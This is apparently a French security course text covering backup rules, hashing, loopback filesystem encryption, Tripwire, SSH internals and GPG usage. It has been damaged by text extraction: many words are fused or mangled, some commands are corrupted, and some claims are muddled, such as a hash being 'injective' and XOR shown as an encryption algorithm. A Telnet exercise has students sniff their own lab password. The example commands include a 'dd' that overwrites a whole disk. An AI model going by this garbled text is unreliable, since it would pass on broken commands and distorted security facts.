Les bandes journaliéres sont réutilisées la semaine daiedrcelle du vendredi est réutilisée deux se-
maines apres. Les bandes mensuelles sont réutiliséese’anrannée.

11.5 Recommandations générales

Les sauvegardes doivent étre réalisées régulieremenhetido de régles pré-établies :

— s’'assurer de la validité des procédures de sauvegarde,

vérifier que les procédures de restauration ont été testées

controler périodiquement la validité des opérations jgarréstitutions de fichiers en " vraie grandeur

ne jamais stocker dans la méme piéce les serveurs et lesagpsauvegardes,

les copies de sauvegarde doivent étre rangées dans ug, soifvn loin de tout objet de convoitise et

nécessairement dans un lieu loin de la piéce ou se trouvesetgeurs,

disposer au moins des deux derniéres sauvegardes,

— étiqueter soigneusement les médias avant de les inteodairs le lecteur enregistreur, puis glisser la
languette de protection contre I'écriture immédiatemdatsortie du média,

— préférer les sauvegardes automatiques a date fixe auxiopénamanuelles.


http://www.veritas.com
http://www3.ca.com

Quatrieme partie

Cryptage et application
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Chapitre 12

Introduction

Les trames circulant sur un réseau public ou privé sont ad@atignes de lectures disponibles a un
utilisateur de passage ayant quelques connaissance®ematijue.
En restant sur ce principe, il serait impossible de fairedasactions bancaires, il nous faut donc crypter les
données. Ce cryptage peut étre éffectué notamment gracgetmeqle SSH dans le cas d’'une maintenance
a distance.
Par extension de ce protocole, IPSec (entre autre) a penmis éntreprise de voir le réseau de ses agences
grace a la mise en place de réseau privé virtuel qui travénserhet de facon crypté.
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Chapitre 13

Bases de cryptographie

Le but de la cryptographie est de garantir la confidentidlitéégrité des données et I'authentification
de I'’émetteur des messages. Pour celd, nous disposons de :
— fonctions de vérification d'intégrité afin de garantir la non modification des données.
— signatures digitales afin de garantir I'identité du signataire.
— chiffrement pour transformer un texte intelligible (aussi appelée clai entexte chiffrdncompreé-
hensible.

13.1 A FAIRE : Description d’'un algorithme de compression

13.2 Vérification d’'intégrité (Fonction de hachage

A l'aide d’'une fonction mathématique dite de hachage (ngechve), le texte va étre lu dans son inté-
gralité afin d’en sortir un résumé. Les propriétés de cettetfon de hachage sont :

— impossibilité de retrouver le texte a partir du résumédfimm a sens unique)

— impossibilité de trouver deux textes ayant le méme résumé
Les algorithmes standards utilisés pour réaliser ce résomé

— MDS5 (Rivest) : résumé de 128 bits sur un texte de longueur quelconque.

— SHA (Secure Hash Algorithm): résumé de 160 bits sur un texte de longueur quelconque.

Utilisation : Recalculer le résumé afin de le comparer avec I'original @régal donné sur le site Web).

13.2.1 Travaux Pratiques : Contrble d’intégrité

Utilisez les logicielsnd5sumetshalsum avec divers fichiers que vous allez créer de maniére a valider
le fait que cette fonction est bien injective i.e. qu’elleo@ne a chaque fois le méme résultat avec la méme
source ET que s'il y a modification de la source, le résultasithangé.

13.3 Chiffrement de systeme de fichiers (sous Linux)

13.3.1 Fonctionement

La commandéosetup associe un loopback (périphérique virtuel) a une partit®mn algorithme de
chiffrement est sélectionné alors un mot de passe est démand
L'opération de montage de la partition se fait en indiquabbpback associé a la partition désirée.

44



CHAPITRE 13. BASES DE CRYPTOGRAPHIE 45

Toutes les données envoyées au loopback sont écriteselsiffians la partition. Lors d’une lecture dans le
loopback, les données correspondantes sont lues dangiteopat déchiffrées en mémoire.

Notes :
— Les fonctionnalités de chiffrement de Linux ne sont pakises dans les distributions standard.

— Des patchs officiels sont disponibles pour ajouter cesifmmeaux sources du noyau. Ces patchs sont
hébergés sur le sitettp ://www.kerneli.org/

— Les commanddssetup , mount etumount doivent étre patchées pour supporter ces fonctionna-
lités.

— Les patchs nécessaires sont fournis avec les patchs desesdu noyau.

— Un fichier peut étre associé a un loopback. Cela permet :
— De créer de petites partitions chiffrées qui peuvent étoetées seulement lorsqu’elles sont néces-

saires.

— De sauvegarder de fagon sécurisée une partition vers uerfatiffré.

13.3.2 Algorithmes

Deux algorithmes ont été implémentés pour chiffrer destjars :
— CAST-128, utilisé en mode ECB
— CAST 128 est défini dans le RFC 21d#p://www.ietf.org/rfc/rfc2144.txt
— Une variante : CAST 256, volrttp ://www.entrust.com
— Twofish est un "Cipher 128 bits utilisé en mode CBC".
— http://www.counterpane.com/twofish.html
Une option permet d’utiliser en mode CBC n’'importe leques dept algorithmes présents dans la biblio-
theque pour chiffrer une partition.
— Blowfish, DES, DFC, IDEA, MARS, RC6 et Serpent.

13.3.3 Exemples
Sauvegarde de fichiers dans un fichier chiffré

ALGO=XOR

dd if=/dev/urandom of=/var/fic bs=1k count=100

losetup -e $ALGO /dev/loop0 /varl/fic
Password:

mkfs -t ext2 /dev/loop0

mkdir /mnt/crypt

mount -t ext2 /dev/loop0 /mnt/crypt

umount /dev/loop0
losetup -d /dev/loop0O



h
http://www.ietf.org/rfc/rfc2144.txt
h
http://www.counterpane.com/twofish.html
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Sauvegarde d'une partition dans un fichier chiffré sur disqle secondaire

PART=/home
ALGO=XOR
DEV='df -k $PART]| tail -1 | awk { printf $1"\n"}"
SIZE='df -k $PART]| tail -1 | awk { printf $2"\n"}"
dd if=/dev/zero of=/dev/hdb bs=1k count=$SIZE
losetup -e $ALGO /dev/loopO /dev/hdb

Password:
umount $PART
dd if=$DEV of=/dev/hdb
losetup -d /dev/loop0
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Chapitre 14

Tripwire

14.1 A propos
14.1.1 Mots clés

tripwire  vérification d'intégrité

14.2 Introduction

Tripwire permet de vérifier I'intégrité des fichiers sur urstgme donné. Tripwire utilise un fichier de
regles pour déterminer quels sont les fichiers dont l'intégst vérifié.

14.3 Mise en fonction de Tripwire

— Installer Tripwire

Réponse :
rom -ivh tripwire....rpm

— Se rendre dans le répertoletc/tripwire

Réponse :
cd /etc/tripwire

— Exécuter le fichietwinstall.sh : Jtwinstall.sh
— On vous demande alors une passphrase (saisie a confirrmelgpo

site key : elle permettra d’encrypter le fichier de policetdpwire
local key : elle permettra d’encrypter le fichier de configuratiortrigwire

Les clés ainsi crées sont stockées dans le réperaiaktripwire/
Le message suivant apparait :
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A clear-text version of the Tripwire configuration file
[etc/tripwire/twcfg.txt

has been preserved for your inspection. It is recommended
that you delete this file manually after you have examined it
.

Wrote policy file: /etc/tripwire/tw.pol

A clear-text version of the Tripwire policy file
[etc/tripwire/twpol.txt
has been preserved for your inspection.

Les fichiers de police et les fichiers de configuration ont at&yptés de maniére a ce qu'il ne soient plus
lisibles par un hacker. Cependant, pour l'instant cewont §isibles de maniere a pouvoir les analyser.

Dénomination | Enclair | Encrypté
Fichier de police twpol.txt |  tw.pol
Fichier de configuration twcfg.txt | tw.cfg

Afin qu’un hacker ne puisse pas voir les fichiers de configomagt de police, supprimer les :

Réponse :

| rm twpol.txt twcfg.txt

14.4 Restauration de la configuration

Vous avez supprimer vos fichiers de configuration. Il vougessible de les restaurer grace aux com-
mandes suivantes :

14.4.1 Régénéation du fichier de configuration

twadmin --print-cfgfile > twcfg.txt

14.4.2 Régénéation du fichier de polices

twadmin --print-polfile > twpol.txt
Il vous est possible maintenant de modifier les polices oofdiguration de Tripwire

14.5 Création de la base de données liées au systeme

La commande tripwire $--$init va vous permettre de générer la base de données relatives a
l'intégrité de votre systeme. Cette commande demanderadsphirase de maniére a pouvoir lire le fichier
de police.

Le fichier doit se générer sans erreurs sinon il vous faudidifraotwpol.txt et relancer l'initialisation
de la base.
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14.6 Test de la base de données

Il est possible de rajouter une tdche cron de maniére a ext@eytrogrammeéipwire $--$check
de maniére a constater les différences apportées sur ystémse. Un rapport est alors généré vous permet-
tant de constater les faits.
De maniére a éviter tous les warning il est possible de galites messages d’erreurs vers la poubelle :
tripwire --check > rapport 2> /dev/null
Pour valider ces changements sans reprendre les reglsispossible d'utiliser la commande :
tripwire --update -r /var/lib/tripwire/report/rapport. twr
ou rapport.twr représente le fichier rapport que vous désirez insérer ask d& données (exemple :
Ivar/lib/tripwire/report/rh3-20040928-164338.twr

14.7 Travaux Pratiques

— Initialiser votre base de donnée Tripwire

Réponse :
tripwire - - init

— Ajouter un utilisateur & votre systeme
Réponse :

| adduser toto

— Lancer le test d'intégrité

Réponse :
tripwire - - check

— Reéinitialiser la base avec le rapport ainsi généré

Réponse :
tripwire --update -r /var/lib/tripwire/report/rapport. twr
— Lancer le test d'intégrité
Réponse :
tripwire - - check

— Ajouter une regle sur le fichiéetc/shadow

Réponse :
Ins erer /etc/shadow dans les r egles (m eme niveau que /etc/passwd) ‘




Chapitre 15

SSH[14]

Ce chapitre parle des avantages du protocole SSH, de larsgdi@venements se produisant lors d’'une
connexion sécurisée a un systeme distant, des différemtiebes de SSH et des méthodes pour assurer que
les utilisateurs qui se connectent a votre systéme utllsgrotocole SSH.

Les méthodes communément utilisées pour se connecteraacksa un autre systeme au moyen d'un
shell (telnet, rlogin ou rsh) ou pour copier des fichiers emrdinateurs hétes (ftp ou rcp) ne sont pas
sécurisées et devraient donc étre évitées. Vous devriglt plaus connecter a un ordinateur hote distant au
moyen d’'un shell sécurisé ou d'un réseau privé virtuel obifEn utilisant des méthodes sécurisées pour
vous connecter a distance a d'autres systemes, vous rédiessesques en matiére de sécurité, pour votre
systéme et pour le systéme distant.

15.1 Introduction

SSH (ou Secure SHell) est un protocole servant a créer uneegmm sécurisée entre deux systémes.
Grace a SSH, un ordinateur client peut initier une connerir un ordinateur serveur et profiter des
mesures de sécurité suivantes :

— Aprés avoir effectué une connexion initiale, le client{p@assurer de se connecter au méme serveur

lors des sessions suivantes.

— Le client peut transmettre ses données d'authentificatioserveur, telles que son nom d'utilisateur

et son mot de passe, en format crypté.

— Toutes les données envoyées et recues pendant la conserianansférées de fagon chiffrée, ce qui

les rend extrémement difficiles a déchiffrer et a lire.

Un serveur peut aussi tirer parti du protocole SSH, paréoeinent s'il exécute de nombreux services. Si
vous utilisez la retransmission de port (port forwardimgs protocoles normalement non sécurisés (comme
POP par exemple) peuvent étre chiffrés et envoyés en tocteitgea des ordinateurs distants. |l est relati-
vement facile avec SSH de crypter différents types d'infations échangées lors des communications qui
sont habituellement envoyées de maniére non sécuriséessdrsleaux publics.

OpenSSH nécessite OpenSSL (openssl) qui installe de nosgwdibliothéques cryptographiques im-
portantes qui aident OpenSSH a chiffrer les communications

Un grand nombre de programmes client et serveur peuveiseuti protocole SSH, dont de nombreuses
applications sources ouvertes et disponibles gratuiterilezxiste plusieurs versions de clients SSH pour
les principaux systemes d’exploitation utilisés aujobrd!
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15.2 Pourquoi utiliser SSH ?

L'interception de paquets, la mystificati@rDNS et IP (IP Spoofing), ainsi que la diffusion de fausses
informations de routage ne sont que quelques exemples degcerequi planent lors des communications
en réseau. En d’autres termes, nous pourrions catégoeisenenaces de la fagon suivante :

— Interception d’'une communication entre deux systémesscérario implique la présence d’un troi-
sieme élément quelque part sur le réseau entre les deuxngsst®nnectés qui copie I'information
échangée entre eux. Celui-ci peut copier et garder I'infdiom ou alors la modifier avant de I'envoyer
au destinataire prévu.

— Usurpation de l'identité d’'un hote : grace a cette techejgun systeme intercepteur prétend étre le
destinataire désiré d’'un message. Si cela fonctionneidataie s’en rend pas compte et continue de
lui envoyer toute I'information, comme s'il était conneeté bon destinataire.

Dans les deux cas, l'information est interceptée (probmble pour des raisons hostiles). Le résultat

peut étre catastrophique, peu importe qu'il soit obtenu’pdaerception de tous les paquets sur un réseau
local d’entreprise ou au moyen d’un serveur DNS piraté guitgosers un héte mal intentionné.

L'utilisation du protocole SSH pour effectuer une connexsbell & distance ou copier des fichiers permet
de faire diminuer sensiblement ces menaces a la sécuritéighature numérique d’'un serveur fournit la
vérification de son identité. En outre, la communication plate entre un systéme client et un systéme
serveur ne peut étre utilisée si elle est interceptée carlamipaquets sont chiffrés. De plus, il n'est pas
possible d'usurper l'identité d'un des deux systemes, @aue les paquets sont chiffrésletirs clés ne
sont connues que par les systemes local et distant

15.3 Sequence des événements d’'une connexion SSH

Pour aider a protéger I'intégrité d’'une communication SSitteedeux ordinateurs hotes, une certaine
série d’événements doit étre utilisée.

D’abord, une couche transport sécurisée doit étre crééequedie client sache qu’il communique bien
avec le bon serveur. Ensuite, la communication est chiffréee le client et le serveur au moyen d’'un chif-
frage symétrique.

Puis, une fois la connexion sécurisée établie avec le settealient peut s’authentifier aupres de celui-ci
sans craindre que ses informations ne puissent étre conga®rpenSSH utilise par défaut des clés DSA
ou RSA et la version 2.0 du protocole SSH pour I'authentiiicat

Enfin, apres I'authentification du client auprés du serv@eimombreux services différents peuvent étre
utilisés de fagon sécurisée au cours de la connexion, talsgsession shell interactive, des applications
X11 et des ports TCP/IP tunnellisés.

L'ensemble du processus de connexion se fait sans que sy $vcal n'ait a faire de nombreuses opé-
rations supplémentaires. En effet, SSH semblera famdlibien des égards, aux utilisateurs habitués aux
méthodes de connexion moins sécurisées.

Dans I'exemple qui suit, l'utilisateur 1 (userl) sur le gyse client veut initier une connexion SSH a
un systéme serveur. L'adresse IP de ce serveur est 10.0@<20n pourrait également utiliser son nom de
domaine. Le nom de connexion de l'utilisateur 1 sur le sarestiuser2. La commande ssh est écrite de la
fagon suivante :

1La mystification est I'acte de laisser croire aux autres gredst un systéme précis sans I'étre véritablement.
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[userl@machinel userl]> ssh user2@210.0.0.2

Une possibilit@ est que le client OpenSSH demande la phrase d'acces de lav@é de I'utilisateur
pour déchiffrer la clé privée utilisée pour procéder a lPaartification. Cette méthode permet en cas de vol
de la clé privée de la personne de ne pas pouvoir étre utpsela suite sans la phrase d’acces associée.
Cependant, la phrase d’acces de la clé privée n’est pas@maoymoyen de la connexion sécurisée en cours.
Elle est utilisée pour ouvrir le fichier id_dsa et générersigaature qui est ensuite envoyée au sengile
serveur a une copie de la clé publique de l'utilisateur pouvat étre utilisée pour vérifier la signature,
l'utilisateur est alors authentifié.

Dans cet exemple, I'utilisateur utilise une clé DSA (desdRSA, notamment, peuvent aussi étre utili-
sées) et recoit I'invite suivante :

Enter passphrase for DSA key ’'’home/userl/.sshf/id_dsa’ :

Si l'authentification par clé publique échoue, pour uneaisu une autre (il se pourrait que la phrase
d’acces ait été mal tapée ou que les renseignements d'difittedion n’existent pas encore sur le serveur),
un autre type d’'authentification egénéralemeniancé. Dans notre exemple, le serveur OpenSSH permet a
l'utilisateur 1 de s’authentifier au moyen du mot de passéudiéidateur 2 (user2) car la signature envoyée
ne correspond pas a la clé publique stockée par I'utilis&teu

user2@machine2’'s password :

En introduisant le bon mot de passe, I'utilisateur recod invite shell. Bien entendu, I'utilisateur 2 doit
déja avoir un compte sur 'ordinateur 10.0.0.2 pour quethentification par mot de passe réussisse.

Last login : Mon Apr 15 13 :27 :43 2001 from machinel
[user2@machine2 user2]>

A ce stade, I'utilisateur peut interagir avec le shell de Bnme fagon qu’avec telnet ou rsh, sauf que la
communication est chiffrée.

D’autres outils SSH, tels que scp et sftp, fonctionnent derissemblable aux outils non sécurisés rcp et
ftp.

15.4 Couches de sécurité SSH

Le protocole SSH permet a tout programme client et serveié selon les spécifications du protocole
de communiquer de fagon sécurisée et d'étre utilisé de meimterchangeable.

A I'heure actuelle, il existe deux types différents de pooie SSH. La version 1 contient de nombreux
algorithmes de chiffrement brevetés (toutefois, bon na@nder ces brevets sont périmés) et un trou de sécu-
rité qui donne la possibilité éventuelle d’insérer des dmandans le flot de données. Il vous est vivement
recommandé d'utiliser des serveurs et clients compatées la version 2 de SSH, si cela vous est possible.

OpenSSH comprend le support pour la version 2 (et des clékitfeement DSA disponibles gratui-
tement). Conjugué aux bibliothéques de chiffrement Op&n&penSSH offre une gamme compléte de
fonctions de sécurité.

Les deux versions (1 et 2) du protocole SSH utilisent desloegide sécurité semblables pour renforcer
I'intégrité des communications sous différents aspediagDe couche fournit son propre type de protection,
ce qui, lorsque utilisé de concert avec d’autres typesoreafla sécurité des communications et les rend plus
facile a utiliser.

2De nombreuses configurations d’authentification et de@esiis clés sont possibles avec SSH
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15.4.1 Couche transport

Le réle principal d'une couche transport est de facilitee atommunication sécurisée entre deux ordina-
teurs hotes au moment de I'authentification et par la suitde@gent. Elle utilise généralement le protocole
TCP/IP, et accomplit sa tache en s’occupant du chiffremiedi @ échiffrement des données, en s’assurant
que le serveur est le bon ordinateur pour l'authentificagioen offrant la protection nécessaire aux paquets
de données lors de leur envoi et de leur réception. En oatoeuche transport peut également faire la com-
pression des données pour accélérer la vitesse de trashsfértformation.

Lorsqu’un client communique avec un serveur au moyen d'whopple SSH, de nombreux éléments
importants sont négociés afin que les deux systéemes pu@sencorrectement la couche transport :

— I'échange des clés
I'algorithme de clé publique a utiliser
I'algorithme de chiffrement symétrique a utiliser
l'algorithme d’authentification de message a utiliser
l'algorithme repere (hash) a utiliser

Durant I'échange des clés, le serveur s'identifie au cliamhayen d’une clé héte.
Evidemment, si le client communique pour la premiére foecase serveur, la clé du serveur lui est incon-
nue. OpenSSH contourne ce probléme en permettant au claaegter la clé hdte du serveur lors de leur
premiére connexion SSH.

The authenticity of host ’localhost (127.0.0.1) can't be e stablished.

RSA key fingerprint is 67:cd:c7:c8:6e:d1:45:ad:d3:9a:73 :5b:a5:fd:29:c7.

Are you sure you want to continue connecting (yes/no)? Ensuite,
ors des connexions suivantes, la clé héte du serveur peuvétifiée au moyen d’'une version enregistrée

sur le client, ce qui permet au client de s’assurer qu'’il camigue bien avec le serveur désiré.

Cette information nommé “fingerprint” n'est pas trés évigea retrouver, en effet aucun fichier ne
contient cette empreinte numérigue. En fait, il faut exéclst commande suivante pour obtenir cette signa-
ture numérique|lampion:/etc/ssh# ssh-keygen -l -f ssh_host_dsa_key

Avertissement La méthode de vérification de la clé hote utilisée par SSHtipas parfaite car, a
ce stade, un individu pourrait se faire passer pour le seteeside la premiere connexion sans que le sys-
teme local puisse nécessairement différencier le senésirédde I'individu voulant se faire passer pour lui.
Toutefois, d'ici a ce qu’'une meilleure méthode de distiitnuide la clé hbte soit disponible, cette méthode
initiale non sécurisée est mieux que rien.

Le protocole SSH est concu pour fonctionner avec la plupsstigpes d’'algorithme de clé publique ou
de format de codage. Aprés la création de deux valeurs lofédeange initial des clés (une valeur repére
utilisée pour les échanges et une valeur secréete partdgg@leux systemes commencent immédiatement
a calculer de nouveaux algorithmes et de nouvelles cléspodtger I'authentification et les données qui
seront envoyées au cours de la connexion.

15.4.2 Authentification

Une fois que la couche transport a créé un tunnel sécurisé ggaoyer les informations entre les
deux systemes, le serveur indique au client quelles sortifigsentes méthodes d’authentification prises
en charge, telles que I'utilisation d’'une signature cBifprivée ou I'entrée d’'un mot de passe. Le client doit
ensuite essayer de s’authentifier au serveur au moyen dagmméthodes spécifiées.

Etant donné que les serveurs peuvent étre configurés de daggemmettre différents types d’authentifi-
cation, cette méthode donne aux deux parties un niveau deédtmaptimal. Le serveur peut décider quelles
méthodes d’authentification prendre en charge en foncemod modeéle de sécurité et le client peut choisir
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I'ordre des méthodes d’authentification a utiliser parniiesequi sont disponibles. Grace a la nature sécu-
risée de la couche transport SSH, méme les méthodes d'ititegion qui, de prime abord, semblent non
sécurisées, telles que I'authentification d’ordinatedehBeuvent étre utilisées en toute sécurité.

Pour réaliser I'authentification a travers une clé publifpavée, il faut ajouter la définition de la clé
publigue dans le fichiessh/autorized keys du compte sur lequel vous désirez vous conneter ;
‘ lampion:/home/eric# cat /home/s3/.ssh/id\_dsa.pub >> .s sh/authorized\ keys

15.4.3 Connexion

Apreés avoir effectué avec succés I'authentification au maye la couche transport SSH, des canaux
multiples sont ouverts en transformant la connexion siraptee les deux systémes en connexion mullﬁ)lex

Le client et le serveur peuvent tous deux créer un nouveaal eachaque canal recoit un numéro dif-
férent aux deux extrémités (serveur ou client). Lorsqued’'d’elle essaie d’ouvrir un nouveau canal, le
numéro de cette extrémité pour ce canal est envoyé avecuéteedCette information est stockée a I'autre
extrémité et utilisée pour diriger un type spécifique de camication d'un service a ce canal. Ainsi, des
types différents de session ne peuvent se nuire entre eeg eahaux peuvent étre fermés sans interrompre
la connexion SSH principale entre les deux systéemes.

Les canaux prennent aussi en charge le contrdle du flot detdsnoe qui leur permet d’envoyer et de
recevoir des données de fagon ordonnée. Ce faisant, aucaonéein’est envoyée par le canal tant que I'h6te
n'a pas recu un message lui indiquant que le canal est en eng'surr recevoir.

Les canaux sont particulierement utiles avec la retrarsamsX11 et la retransmission de port TCP/IP
par SSH. Des canaux séparés peuvent étre configurés diffémetypour utiliser une quantité maximum de
paquets différente ou pour transférer un type spécifiqueodeédks. Cela permet a SSH de faire preuve de
souplesse lors de I'acheminement des données sur divesdgoconnexion a distance, tels que les liaisons
sur des réseaux publics ou les connexions rapides sur desisecaux d’entreprise, sans avoir a changer
l'infrastructure de base du protocole. Le client et le sarvegocient automatiquement la configuration de
chaque canal a I'intérieur de la connexion pour I'utilisate

15.5 Protocole de connexion

15.5.1 Initialisation de la connexion

Lors d'une demande de connexion, le démon SSH réalise urefgrkrmet la connexion a travers son
processus fils. Avant de permettre l'authentification efese2 points terminaux, il effectue un échange
d’authentification.

15.5.2 Echange d’identification

Dans un premier temps, le serveur envoie une chaine forereaitélient en texte brut, spécifiant les ver-
sions de protocole supporté et la version du serveur. Cedfi@e peut étre du type “SSH-1.99-OpenSSH_2.3.0”,
ou “1” indique le numéro de version majeur du protocole, “@®dique le numéro de version mineur et
“OpenSSH_2.3.0" est la version logicielle du serveur.

Si le client ne supporte pas le protocole recu, il ferme laneation. Si le protocole est supporté par le
client, il répond avec une chaine formattée de la méme fagerpggcédemment. Le serveur teste alors la

3Une connexion multiplex envoie plusieurs sighaux sur urpsdpcommun et partagé. Avec le protocole SSH, divers casank
envoyés sur une connexion sécurisée commune.
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réponse du client. Si les versions ne concordent pas ou sr&ow cliente est invalide, le serveur cloture la
connexion.
Si les versions concordent, I'échange de clé peut se faire.

15.6 L'échange de clefs

Le serveur va envoyer deux de ces clés publiques. En preimielé serveur ira chercher 64 bits d’'un
PRNG qui sera utilisé comme un cookie pour prévenir des attadqe&pbofing et des predictions du nu-
méro de séquence TCP. Ceci affecte uniquement les connéitype rhost.

Le client va envoyer en retour ce cookie lorsque la clé de séss est envoyéeCeci est valable unique-
ment contre un IPSpoofing, toute machine du réseau locabpéues paquets sortir et récupérer le cookie
généré aléatoirement.

Le serveur construit alors un paquet de tg#H_SMSG_PUBLIC_KEYoncaténant le cookie, la taille des
'n’ éléments de la clé RSA du serveur, I'exposant publiquééela clé RSA du serveur et le modulo 'n’ de
le clé RSA héte (la clé publique RSA), les flags du protocolel 38s codages symétriques supportés, et les
méthodes d’authentification supportés.

Une fois le paqueBSH_SMSG_PUBLIC_KE¥egu par le client, il calcule un ID de session de la méme
fagon que le serveur :

L'ID de session est égal a la signature MD5 de la concatémdtionodulo de la clé héte du serveur, le
modulo de la clé du serveur et le cookie généré par le serveur.

session_id=MD5(HostKey RSAModulus | ServerKey RSAModu lus | Cookie)

La longueur de la chaine d'un session_id est le méme que ¢ du résultat du MD5 : 128 bits.

Le clientgénére une clé de session de 256 bits allant chercher les ddtaPRNG. Cette clé sera utilisée
dans un algorythme symétrique dans le futur échange dedemreSSH.

Avant que la clé soit encrypté et envoyé, les 128 premiessdatla clé, sont XORé avec le session_id. Le
client alors utilise I'algorithme RSA pour encrypter coostivement la clé de session XORé et I'id_session
avec la clé du serveur et I'héte clé.

L'encryptage est réalisé grace a la plus petite clé.

Finalement le client crée le paquet et retrouve I'algorygtsymétrique a utiliser, le cookie recu, la clé de
session cryptéé et les flags du protocole SSH et I'envoieraese

Le serveur recoit ce paquet et retrouve I'algorythme syiopgér choisi par le client. Il retrouve la clé en-
crypté, les flags de SSH et décrypte la clé de session.

15.7 Conclusion

SSH permet d’effectuer une maintenance des serveurs eiabttsans avoir de craintes au niveau sécu-
ritaire des acces. L'une des applications plus ou moingtirdu protocole SSH est le VPN que nous allons
détailler maintenant.

15.8 Travaux Pratiques
15.8.1 Putty

Installer le logiciel Putty sur votre machine.

4pseudo Number Random Generator
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15.8.2 Telnet

Connectez vous en Telnet sur la machine indiquée par Liottur.

telnet lampion
lampion login : squirrel
Password : texavery

exit

eric@lampion:~/secu/reseau$ telnet lampion
Trying 127.0.0.1...

Connected to lampion.

Escape character is .

Debian GNU/Linux 3.0 lampion

lampion login: squirrel

Password:

Last login: Tue Nov 26 11:02:47 2002 from lampion on pts/2

Linux lampion 2.2.19prel7 #14 SMP Wed Aug 21 13:38:36 CEST 20 02 686 unknown
Most of the programs included with the Debian GNU/Linux syst em are

freely redistributable; the exact distribution terms for e ach program

are described in the individual files in /usr/share/doc/*/ copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the e xtent
permitted by applicable law.

squirrel@lampion:~$ exit

logout

Connection closed by foreign host.

TAB. 15.1 — Exemple de session Telnet

TELNET Telnet Data ...

R i
60 -1 . 10 TCP telnet » 1104 [ACK] Seq=3706073248 Ack=202498
61 -118328. 700747 TELMET Telnet Data ...

=1 ]

@ Frame 59 (55 bytes on wire, 55 bytes captured)
@ Ethernet IT, Src: 00:e0:7d:c2iabfies, Dst: 00:00:39:1d:26:37

Internet Protocol, Sro Addr: “ C_), Dst Addr:

b
@ Transmission Control Protocol, Src Port: 1104 (11040, Dst Port: telnet (230, Seq: 2024983, ack: 3706073248, Len: 1
B Talnet
pData: y

FiG. 15.1 — Trame d’une connexion Telnet : 1 caractére du mot geepa

15.8.3 SSH

Connectez vous en SSH sur la machine indiquée par I'ingnact
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ssh squirrel@lampion
lampion login : squirrel
Password : texavery

exit

eric@lampion:~/secu/reseau$ ssh squirrel@lampion
squirrel@lampion’s password:

Linux lampion 2.2.19prel7 #14 SMP Wed Aug 21 13:38:36 CEST 20 02 686 unknown
Most of the programs included with the Debian GNU/Linux syst em are

freely redistributable; the exact distribution terms for e ach program

are described in the individual files in /usr/share/doc/*/ copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the e xtent
permitted by applicable law.

Last login: Tue Nov 26 11:25:52 2002 from lampion

squirrel@lampion:~$ exit

logout

Connection to lampion closed.

eric@lampion:~/secu/reseau$

TAB. 15.2 — Exemple de session SSH

15.8.4 Exercices

— Comparez les résultats obtenus avec le sniffer.
— Essayez de retrouver votre mot de passe de la sessiondaheles trames sniffées.
— Recherchez les différentes phases du protocole SSH

15.9 Scp

scp est un programme utilisant le protocole SSH qui permet déecales fichiers d’un serveur sur une
autre machine possédant un clienp .

Sous Windows, il existe le logici®VinSCP.
Sous Linux, il vous faudra utiliser la commanstep de la fagon suivante :

Copie vers le serveur SSH :scp <fichiers> user@IPServeur :PathServeur
Exemple scp * root@192.168.2.10 :.

Copie depuis le serveur SSH :scp user@IPServeur :<fichiers> Path
Exemple scp root@192.168.2.10 :* .
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Gnu Privacy Guard

16.1 Principes généraux

16.1.1 Signature digitale

Elle assure I'identité de I'émetteur et I'intégrité du megs. Le schéma de signature digitale est le sui-
vant : algorithme de la signature + algorithme de vérifigatio

— Principe : utilisation d’'une clé privée pour la signature et d’une a@lmue pour la vérification.
— Reégle : un tiers peut déterminer la validité d’'une signature samsaiire la clé privée du signataire.
— Fonctionnement :le signataire crypte sa signature a I'aide de sa clé privéke€i est alors déchif-
frée a I'aide de la clé publique par le destinataire.
Les algorithmes standards utilisés pour réaliser ce cggpde signature sont :
— DSA (Digital Signature Algorithm) : utilisation de la fonction de hashage SHA.
— Signature RSA : utilise le chiffrement a clé publique RSA.

16.1.2 Chiffrement

Il existe 2 types de chiffrement :

— chiffrement symétrique : clé de chiffrement = clé de déchiffrementd secrétp

— chiffrement asymétrique : clé de chiffrement# clé de déchiffrement respectivemené publique,

clé privée

Pour envoyer un message chiffré a un destinataire, I'exgédra utiliser la clé publique du destinataire afin
de chiffrer le message a envoyer. Celui-ci pourra alorsdchiffrée par le destinataire grace a sa clé privée.
Un probléme subsiste tout de méme pour le transfert de lautléque. Il faut donc faire alors appel aux
certificats. Ces certificats sont donnés par une entrepiiggemui confirmereront l'identité d’'une personne.

16.2 Utilisation des clés publiques et privées : GPG

GPG est la version libre de PGP (Pretty Good Privacy), il giohe crypter et de signer des documents,
en particulier des mails.

16.2.1 Installation

— Télécharger le logiciel gnupg pour Windows ainsi que sarserde contrdle.
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LEXPEDITEUR PRODUCTEOMN CHIFFREMENT DE LEMPREINTE L& SIGHATURE
CREE UM MESSAGE D'LANIEE EMIPREINTE BWEC L& CLE PRIVEE DE HUMERIQUE
LEXPECNTEUR POLUR CREER ESTAMMEXEE

UMNE SIEMATURE MUMERIQLE AL HESSACE
il

SCEAU
CHIFFREMENT DU HESSAGE  CHIFFREMENT DE LA CLE LA CLE SECRETE UMIQUE
AVEC UNE CLE SECRETE SECRE TE UMIGUE CHIFFREE EST ANMEREE
UM IQUE, GEMEREE DE FACOM  AVEC LA CLE PUBLIQUE AL MESSAGE CHIFFRE
ALEATOWRE DU DESTINATAIRE |
LIVRAISON

LIVRAISOM DU MESSAGE
CHIFFRE AU ESTINATAIRE

FiG. 16.1 — Encryptage d'un message avec signature élect@niqu

— Vérifier l'intégralité du logiciel ainsi télécharger.
— Installer le logiciel dans le répertoire\cgnupg
— Modifier votre PATH pour ajouter & gnup

16.2.2 Utilisation en solitaire

Créer votre propre jeu de clé : gpg ——gen-key

Exporter votre clé publique : gpg ——armor ——output “public.txt” ——export “VOTRE
NOM”

Exporter votre clé privée (pour la mettre en lieu sdr) : gpg ——armor ——output “private.txt”

——export-secret-keys “VOTRE NOM”
Encrypter un fichier de votre choix : gpg ——recipient “LE NOM DE LA CLE PUBLIQUE A UTILISER”"

——output “fichier crypté” ——encrypt “fichieracrypter.gpg”

Décrypter le fichier: gpg ——decrypt-files “fichier crypté” 2

Signer un fichier : gpg ——local-user “VOTRE NOM” ——clearsign “message.txt” . Le
fichier signé sera message.txt.asc.

Veérifier la signature : gpg ——verify “message.txt.asc”

1Sous XP/2000/NT : System Properties> Advanced Tab- > Environment Variables- > System Variables
Sous 9x : autoexec.bat
2Le fichier cryptéDOIT avoir pour extension .gpg (renommer le au besoin)
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16.2.3 Explication des différentes options

-a ——armor créer une sortie ascii avec armure
